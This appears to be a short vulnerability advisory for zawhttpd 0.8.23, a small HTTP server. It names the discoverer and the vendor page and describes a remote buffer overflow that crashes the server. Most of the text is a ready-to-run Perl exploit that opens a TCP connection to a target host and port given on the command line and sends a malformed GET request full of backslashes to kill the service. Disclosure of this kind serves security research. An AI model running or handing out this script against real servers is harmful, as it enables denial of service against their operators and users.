zawhttpd - Buffer Overflow
Name: zawhttpd
Version: 0.8.23 previous version probably too.
Language: C
Problem: Buffer Overflow
Vendor: http://www.norz.org/zawhttpd.html
Discovered by: Kamil 'K3' Sienicki
Description:
zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support,
keep-alive persistent connections, IPv6 support, GET and HEAD requests,
chunked encoding and content-range, directory listing, basic
authentication,
access logging, daemon mode, and more.
Problem:
A remote user can supply a specially crafted data which crash server.
Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki
use IO::Socket;
use strict;
my($socket) = "";
if($socket = IO::Socket::INET->new(
PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
close($socket);
}
else
{
print "perl zawhttpd.pl localhost 80 \n";
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
--
Kamil 'K3' Sienicki